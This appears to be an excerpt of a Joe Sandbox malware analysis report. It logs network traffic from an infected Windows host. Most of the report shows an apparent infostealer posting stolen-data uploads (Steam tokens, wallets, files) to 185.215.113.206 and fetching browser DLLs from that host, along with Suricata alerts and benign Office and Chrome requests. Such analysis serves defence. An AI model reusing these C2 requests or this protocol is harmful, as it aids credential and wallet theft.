Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="file"------EGHCAKKEGCAAFHJJJDBK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="file"------FIECBFIDGDAKFHIEHJKF--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"wallets------JJKJDAEBFCBKECBGDBFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="message"files------EBFBKKJECAKEHJJJDBAF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file"------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 2d 2d 0d 0a Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="message"ybncbhylepme------JKECGDBFCBKFIDHIDHDH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IEBAAFCAFCBKFHJJJKKF--

Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49863 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50047 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
